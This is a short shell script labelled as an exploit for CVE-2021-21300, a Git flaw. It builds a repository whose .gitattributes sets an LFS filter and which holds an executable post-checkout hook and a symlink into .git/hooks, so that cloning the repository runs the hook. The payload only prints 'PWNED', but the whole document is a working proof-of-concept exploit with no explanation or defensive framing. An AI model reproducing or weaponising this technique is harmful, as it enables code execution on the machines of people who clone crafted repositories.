CVE-2021-21300-exploit

 #!/bin/sh

  git init delayed-checkout &&
  (
  	cd delayed-checkout &&
  	echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
  		>.gitattributes &&
  	mkdir A &&
  	printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
  	chmod +x A/post-checkout &&
  	>A/a &&
  	>A/b &&
  	git add -A &&
  	rm -rf A &&
  	ln -s .git/hooks a &&
  	git add a &&
  	git commit -m initial
  ) &&
  git clone delayed-checkout cloned